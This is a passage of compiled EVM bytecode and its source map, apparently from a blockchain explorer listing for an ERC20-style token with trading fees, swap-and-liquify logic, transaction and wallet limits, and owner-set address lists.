ffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561176a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117bf57600760149054906101000a900460ff166117be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b590613669565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118635750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118bd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199357601a5461195182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b1115611992576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611989906136d5565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ad65760195481111580611a425750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611a965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc90613741565b60405180910390fd5b5b60185481111580611b305750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b845750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bba90613741565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611c6a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8a57600160086000828254611c829190613761565b925050819055505b611c9583838361216b565b15611cae57611ca5600b54611ebc565b60006008819055505b611d0081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611d4f84846122a5565b611d595781611d65565b611d64848484612353565b5b9050611db981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e599190612bb8565b60405180910390a350505050565b6000838311158290611eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea69190612a73565b60405180910390fd5b5082840390509392505050565b6001600960006101000a81548160ff0219169083151502179055506000611f2a6002611f1c600f54611f0e600e54611f006001600d5461215590919063ffffffff16565b61215590919063ffffffff16565b61215590919063ffffffff16565b61212990919063ffffffff16565b90506000611f5582611f47600d548661212990919063ffffffff16565b61213f90919063ffffffff16565b90506000611f6c828561158790919063ffffffff16565b90506000479050611f7c82612511565b6000611f91824761158790919063ffffffff16565b90506000611fbc611fad600d548861158790919063ffffffff16565b8361213f90919063ffffffff16565b90506000611fd5600d548361212990919063ffffffff16565b90506000811115611feb57611fea8682612754565b5b6000612015600e5461200760028661212990919063ffffffff16565b61212990919063ffffffff16565b9050600081111561208a57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612088573d6000803e3d6000fd5b505b6000479050600081111561210257601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612100573d6000803e3d6000fd5b505b5050505050505050506000600960006101000a81548160ff02191690831515021790555050565b600081836121379190613795565b905092915050565b6000818361214d9190613806565b905092915050565b600081836121639190613761565b905092915050565b600080600c5483101590506000600b5461218430610990565b10159050600960009054906101000a900460ff161580156121b15750600760159054906101000a900460ff165b80156121c95750600760149054906101000a900460ff165b80156121d25750815b80156122285750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122815750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156122915750600a5460085410155b801561229a5750805b925050509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561234b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806123608585612854565b11156125065760006123986123758686612854565b61238a6014548661213f90919063ffffffff16565b61212990919063ffffffff16565b90506123ec81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161248c9190612bb8565b60405180910390a360006010541180156124b057506010546124ae8686612854565b115b156124eb576124ea3061dead6124e56010546124d76014548961213f90919063ffffffff16565b61212990919063ffffffff16565b61159d565b5b6124fe818461158790919063ffffffff16565b91505061250a565b8190505b9392505050565b6000600267ffffffffffffffff81111561252e5761252d613837565b5b60405190808252806020026020018201604052801561255c5781602001602082028036833780820191505090505b509050308160008151811061257457612573613183565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561261b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263f919061387b565b8160018151811061265357612652613183565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126ba30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161271e9594939291906139a1565b600060405180830381600087803b15801561273857600080fd5b505af115801561274c573d6000803e3d6000fd5b505050505050565b61278130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161280a969594939291906139fb565b60606040518083038185885af1158015612828573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061284d9190613a5c565b5050505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128f75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561291957612912606460145461158790919063ffffffff16565b90506129dd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129785760125490506129dd565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d75760115490506129dd565b60135490505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a1d578082015181840152602081019050612a02565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a45826129e3565b612a4f81856129ee565b9350612a5f8185602086016129ff565b612a6881612a29565b840191505092915050565b60006020820190508181036000830152612a8d8184612a3a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612aca82612a9f565b9050919050565b612ada81612abf565b8114612ae557600080fd5b50565b600081359050612af781612ad1565b92915050565b6000819050919050565b612b1081612afd565b8114612b1b57600080fd5b50565b600081359050612b2d81612b07565b92915050565b60008060408385031215612b4a57612b49612a95565b5b6000612b5885828601612ae8565b9250506020612b6985828601612b1e565b9150509250929050565b60008115159050919050565b612b8881612b73565b82525050565b6000602082019050612ba36000830184612b7f565b92915050565b612bb281612afd565b82525050565b6000602082019050612bcd6000830184612ba9565b92915050565b600080600060608486031215612bec57612beb612a95565b5b6000612bfa86828701612ae8565b9350506020612c0b86828701612ae8565b9250506040612c1c86828701612b1e565b9150509250925092565b600060208284031215612c3c57612c3b612a95565b5b6000612c4a84828501612ae8565b91505092915050565b600060ff82169050919050565b612c6981612c53565b82525050565b6000602082019050612c846000830184612c60565b92915050565b612c9381612b73565b8114612c9e57600080fd5b50565b600081359050612cb081612c8a565b92915050565b60008060408385031215612ccd57612ccc612a95565b5b6000612cdb85828601612ae8565b9250506020612cec85828601612ca1565b9150509250929050565b600080600060608486031215612d0f57612d0e612a95565b5b6000612d1d86828701612b1e565b9350506020612d2e86828701612b1e565b9250506040612d3f86828701612b1e565b9150509250925092565b600080600060608486031215612d6257612d61612a95565b5b6000612d7086828701612ae8565b9350506020612d8186828701612ae8565b9250506040612d9286828701612ae8565b9150509250925092565b612da581612abf565b82525050565b6000602082019050612dc06000830184612d9c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612deb57612dea612dc6565b5b8235905067ffffffffffffffff811115612e0857612e07612dcb565b5b602083019150836020820283011115612e2457612e23612dd0565b5b9250929050565b600080600060408486031215612e4457612e43612a95565b5b600084013567ffffffffffffffff811115612e6257612e61612a9a565b5b612e6e86828701612dd5565b93509350506020612e8186828701612ca1565b9150509250925092565b600080600080600080600060e0888a031215612eaa57612ea9612a95565b5b6000612eb88a828b01612b1e565b9750506020612ec98a828b01612b1e565b9650506040612eda8a828b01612b1e565b9550506060612eeb8a828b01612b1e565b9450506080612efc8a828b01612b1e565b93505060a0612f0d8a828b01612b1e565b92505060c0612f1e8a828b01612b1e565b91505092959891949750929550565b60008060408385031215612f4457612f43612a95565b5b6000612f5285828601612ae8565b9250506020612f6385828601612ae8565b9150509250929050565b6000612f7882612a9f565b9050919050565b612f8881612f6d565b8114612f9357600080fd5b50565b600081359050612fa581612f7f565b92915050565b600060208284031215612fc157612fc0612a95565b5b6000612fcf84828501612f96565b91505092915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061300e6006836129ee565b915061301982612fd8565b602082019050919050565b6000602082019050818103600083015261303d81613001565b9050919050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b60006130a0602e836129ee565b91506130ab82613044565b604082019050919050565b600060208201905081810360008301526130cf81613093565b9050919050565b6000815190506130e581612b07565b92915050565b60006020828403121561310157613100612a95565b5b600061310f848285016130d6565b91505092915050565b600060408201905061312d6000830185612d9c565b61313a6020830184612ba9565b9392505050565b60008151905061315081612c8a565b92915050565b60006020828403121561316c5761316b612a95565b5b600061317a84828501613141565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006131ec82612afd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361321e5761321d6131b2565b5b600182019050919050565b7f746f74616c46656520616e642073656c6c46656520746f6f2068696768000000600082015250565b600061325f601d836129ee565b915061326a82613229565b602082019050919050565b6000602082019050818103600083015261328e81613252565b9050919050565b6000819050919050565b60006132ba6132b56132b084612a9f565b613295565b612a9f565b9050919050565b60006132cc8261329f565b9050919050565b60006132de826132c1565b9050919050565b6132ee816132d3565b82525050565b600060208201905061330960008301846132e5565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061336b6024836129ee565b91506133768261330f565b604082019050919050565b6000602082019050818103600083015261339a8161335e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133fd6022836129ee565b9150613408826133a1565b604082019050919050565b6000602082019050818103600083015261342c816133f0565b9050919050565b600061343e82612afd565b915061344983612afd565b9250828203905081811115613461576134606131b2565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134c36025836129ee565b91506134ce82613467565b604082019050919050565b600060208201905081810360008301526134f2816134b6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006135556023836129ee565b9150613560826134f9565b604082019050919050565b6000602082019050818103600083015261358481613548565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b60006135e76031836129ee565b91506135f28261358b565b604082019050919050565b60006020820190508181036000830152613616816135da565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b6000613653600e836129ee565b915061365e8261361d565b602082019050919050565b6000602082019050818103600083015261368281613646565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b60006136bf601e836129ee565b91506136ca82613689565b602082019050919050565b600060208201905081810360008301526136ee816136b2565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b600061372b6011836129ee565b9150613736826136f5565b602082019050919050565b6000602082019050818103600083015261375a8161371e565b9050919050565b600061376c82612afd565b915061377783612afd565b925082820190508082111561378f5761378e6131b2565b5b92915050565b60006137a082612afd565b91506137ab83612afd565b92508282026137b981612afd565b915082820484148315176137d0576137cf6131b2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061381182612afd565b915061381c83612afd565b92508261382c5761382b6137d7565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061387581612ad1565b92915050565b60006020828403121561389157613890612a95565b5b600061389f84828501613866565b91505092915050565b6000819050919050565b60006138cd6138c86138c3846138a8565b613295565b612afd565b9050919050565b6138dd816138b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61391881612abf565b82525050565b600061392a838361390f565b60208301905092915050565b6000602082019050919050565b600061394e826138e3565b61395881856138ee565b9350613963836138ff565b8060005b8381101561399457815161397b888261391e565b975061398683613936565b925050600181019050613967565b5085935050505092915050565b600060a0820190506139b66000830188612ba9565b6139c360208301876138d4565b81810360408301526139d58186613943565b90506139e46060830185612d9c565b6139f16080830184612ba9565b9695505050505050565b600060c082019050613a106000830189612d9c565b613a1d6020830188612ba9565b613a2a60408301876138d4565b613a3760608301866138d4565b613a446080830185612d9c565b613a5160a0830184612ba9565b979650505050505050565b600080600060608486031215613a7557613a74612a95565b5b6000613a83868287016130d6565b9350506020613a94868287016130d6565b9250506040613aa5868287016130d6565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bbef27c8d1e2884d1ba7dd4d210eb84f7dbfdf4d14100652fa704a2f0f42c9b64736f6c63430008130033
Deployed Bytecode Sourcemap
4809:11433:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7260:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8141:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8280:132;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15587:309;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10747:198;;;;;;;;;;;;;:::i;:::-;;7483:67;;;;;;;;;;;;;:::i;:::-;;3713:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7410:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5224:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8027:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7640:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6543:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9655:548;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6474:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6407:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10211:337;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7556:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10953:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7333:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8831:319;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10556:183;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5342:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7749:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9158:489;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7894:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3806:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7260:67;7297:13;7320:5;;;;;;;;;;;;;;;;;7313:12;;7260:67;:::o;8141:133::-;8216:4;8223:37;8232:10;8244:7;8253:6;8223:8;:37::i;:::-;8268:4;8261:11;;8141:133;;;;:::o;8280:132::-;8333:7;8350:60;8388:21;8406:1;8388:9;:21::i;:::-;8350:33;8367:15;6094:42;8367:9;:15::i;:::-;8350:12;;:16;;:33;;;;:::i;:::-;:37;;:60;;;;:::i;:::-;8343:67;;8280:132;:::o;15587:309::-;15685:4;15702:36;15712:6;15720:9;15731:6;15702:9;:36::i;:::-;15749:117;15758:6;15766:10;15778:87;15814:6;15778:87;;;;;;;;;;;;;;;;;:11;:19;15790:6;15778:19;;;;;;;;;;;;;;;:31;15798:10;15778:31;;;;;;;;;;;;;;;;:35;;:87;;;;;:::i;:::-;15749:8;:117::i;:::-;15884:4;15877:11;;15587:309;;;;;:::o;10747:198::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10802:14:::1;10819:24;10837:4;10819:9;:24::i;:::-;10802:41;;10866:13;;10857:6;:22;10854:51;;;10890:13;;10881:22;;10854:51;10915:22;10930:6;10915:14;:22::i;:::-;10791:154;10747:198::o:0;7483:67::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;7544:4:::1;7527:14;;:21;;;;;;;;;;;;;;;;;;7483:67::o:0;3713:87::-;3768:4;3793:5;;;;;;;;;;;3782:16;;:7;:16;;;3775:23;;3713:87;;;:::o;7410:67::-;7451:5;5031:1;7459:16;;7410:67;:::o;5224:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;8027:108::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8125:8:::1;8101:11;:21;8113:8;8101:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;8027:108:::0;;:::o;7640:103::-;7706:7;7723:9;:18;7733:7;7723:18;;;;;;;;;;;;;;;;7716:25;;7640:103;;;:::o;6543:63::-;;;;:::o;9655:548::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;9753:13:::1;9769:33;9796:5;9769:22;9786:4;9769:12;;:16;;:22;;;;:::i;:::-;:26;;:33;;;;:::i;:::-;9753:49;;9804:19;9826:34;9854:5;9826:23;9843:5;9826:12;;:16;;:23;;;;:::i;:::-;:27;;:34;;;;:::i;:::-;9804:56;;9862:17;9882:36;9912:5;9882:25;9899:7;9882:12;;:16;;:25;;;;:::i;:::-;:29;;:36;;;;:::i;:::-;9862:56;;9944:5;9929:12;:20;;;;9968:11;9951:14;:28;;;;9999:9;9981:15;:27;;;;10019:13;10035:30;10060:4;10035:20;10053:1;10035:13;:11;:13::i;:::-;:17;;:20;;;;:::i;:::-;:24;;:30;;;;:::i;:::-;10019:46;;10093:5;10084;:14;;:38;;;;;10117:5;10102:11;:20;;10084:38;:60;;;;;10139:5;10126:9;:18;;10084:60;10076:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;9742:461;;;;9655:548:::0;;;:::o;6474:62::-;;;;:::o;6407:60::-;;;;:::o;10211:337::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10353:10:::1;10332:18;;:31;;;;;;;;;;;;;;;;;;10386:10;10365:18;;:31;;;;;;;;;;;;;;;;;;10421:12;10398:20;;:35;;;;;;;;;;;;;;;;;;10470:4;10444:11;:23;10456:10;10444:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;10502:4;10476:11;:23;10488:10;10476:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;10536:4;10508:11;:25;10520:12;10508:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10211:337:::0;;;:::o;7556:78::-;7608:7;7626:5;;;;;;;;;;;7619:12;;7556:78;:::o;10953:242::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11039:15:::1;11057:63;11116:3;11057:54;11103:7;11064:8;11057:26;;;11092:4;11057:41;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54;;;;:::i;:::-;:58;;:63;;;;:::i;:::-;11039:81;;11138:8;11131:25;;;11157:20;;;;;;;;;;;11179:7;11131:56;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11028:167;10953:242:::0;;:::o;7333:71::-;7372:13;7395:7;;;;;;;;;;;;;;;;;7388:14;;7333:71;:::o;8831:319::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;8977:11:::1;8964:10;:24;;;;9006:53;9051:6;9006:32;9023:14;9006:12;;:16;;:32;;;;:::i;:::-;:36;;:53;;;;:::i;:::-;8990:13;:69;;;;9088:54;9134:6;9088:33;9105:15;9088:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;9071:14;:71;;;;8831:319:::0;;;:::o;10556:183::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10652:6:::1;10648:84;10666:9;;:16;;10662:1;:20;10648:84;;;10721:8;10699:5;:19;10705:9;;10715:1;10705:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10699:19;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;10684:3;;;;;:::i;:::-;;;;10648:84;;;;10556:183:::0;;;:::o;5342:19::-;;;;;;;;;;;;;:::o;7749:139::-;7827:4;7834:40;7844:10;7856:9;7867:6;7834:9;:40::i;:::-;7882:4;7875:11;;7749:139;;;;:::o;9158:489::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;9343:10:::1;9328:12;:25;;;;9370:10;9355:12;:25;;;;9392:5;9382:7;:15;;;;9416:12;9399:14;:29;;;;9441:6;9430:8;:17;;;;9459:5;9449:7;:15;;;;9480:6;9466:11;:20;;;;9517:18;9533:1;9517:11;;:15;;:18;;;;:::i;:::-;9505:8;;:30;;:63;;;;;9550:18;9566:1;9550:11;;:15;;:18;;;;:::i;:::-;9539:7;;:29;;9505:63;:100;;;;;9587:18;9603:1;9587:11;;:15;;:18;;;;:::i;:::-;9572:11;;:33;;9505:100;9497:142;;;;;;;;;;;;:::i;:::-;;;;;;;;;9158:489:::0;;;;;;;:::o;7894:127::-;7975:7;7992:11;:18;8004:5;7992:18;;;;;;;;;;;;;;;:27;8011:7;7992:27;;;;;;;;;;;;;;;;7985:34;;7894:127;;;;:::o;3806:111::-;3672:19;3680:10;3672:7;:19::i;:::-;3664:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;3880:3:::1;3872:5;::::0;:11:::1;;;;;;;;;;;;;;;;;;3890:25;3911:3;3890:25;;;;;;:::i;:::-;;;;;;;;3806:111:::0;:::o;15904:335::-;16014:1;15997:19;;:5;:19;;;15989:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16095:1;16076:21;;:7;:21;;;16068:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16177:6;16147:11;:18;16159:5;16147:18;;;;;;;;;;;;;;;:27;16166:7;16147:27;;;;;;;;;;;;;;;:36;;;;16215:7;16199:32;;16208:5;16199:32;;;16224:6;16199:32;;;;;;:::i;:::-;;;;;;;;15904:335;;;:::o;1452:98::-;1510:7;1541:1;1537;:5;;;;:::i;:::-;1530:12;;1452:98;;;;:::o;14146:1433::-;14261:1;14243:20;;:6;:20;;;14235:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;14345:1;14324:23;;:9;:23;;;14316:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14416:17;14426:6;14416:9;:17::i;:::-;14406:6;:27;;14398:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;14501:11;:19;14513:6;14501:19;;;;;;;;;;;;;;;;;;;;;;;;;14500:20;:47;;;;;14525:11;:22;14537:9;14525:22;;;;;;;;;;;;;;;;;;;;;;;;;14524:23;14500:47;14497:95;;;14557:14;;;;;;;;;;;14549:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;14497:95;14606:11;:19;14618:6;14606:19;;;;;;;;;;;;;;;;;;;;;;;;;14605:20;:47;;;;;14630:11;:22;14642:9;14630:22;;;;;;;;;;;;;;;;;;;;;;;;;14629:23;14605:47;:77;;;;;14677:4;;;;;;;;;;;14656:26;;:9;:26;;;;14605:77;:107;;;;;6094:42;14686:26;;:9;:26;;;;14605:107;14602:220;;;14770:15;;14733:32;14758:6;14733:9;:20;14743:9;14733:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;14732:53;;14724:96;;;;;;;;;;;;:::i;:::-;;;;;;;;;14602:220;14845:4;;;;;;;;;;;14835:14;;:6;:14;;;14832:124;;14869:14;;14859:6;:24;;:47;;;;14887:11;:19;14899:6;14887:19;;;;;;;;;;;;;;;;;;;;;;;;;14859:47;:73;;;;14910:11;:22;14922:9;14910:22;;;;;;;;;;;;;;;;;;;;;;;;;14859:73;14851:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;14832:124;14984:12;;14974:6;:22;;:45;;;;15000:11;:19;15012:6;15000:19;;;;;;;;;;;;;;;;;;;;;;;;;14974:45;:71;;;;15023:11;:22;15035:9;15023:22;;;;;;;;;;;;;;;;;;;;;;;;;14974:71;14966:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;15095:4;;;;;;;;;;;15082:17;;:9;:17;;;:41;;;;;15104:11;:19;15116:6;15104:19;;;;;;;;;;;;;;;;;;;;;;;;;15103:20;15082:41;15079:71;;;15146:1;15125:9;;:23;;;;;;;:::i;:::-;;;;;;;;15079:71;15163:45;15182:6;15190:9;15201:6;15163:18;:45::i;:::-;15160:105;;;15210:29;15225:13;;15210:14;:29::i;:::-;15261:1;15241:9;:22;;;;15160:105;15295:29;15317:6;15295:9;:17;15305:6;15295:17;;;;;;;;;;;;;;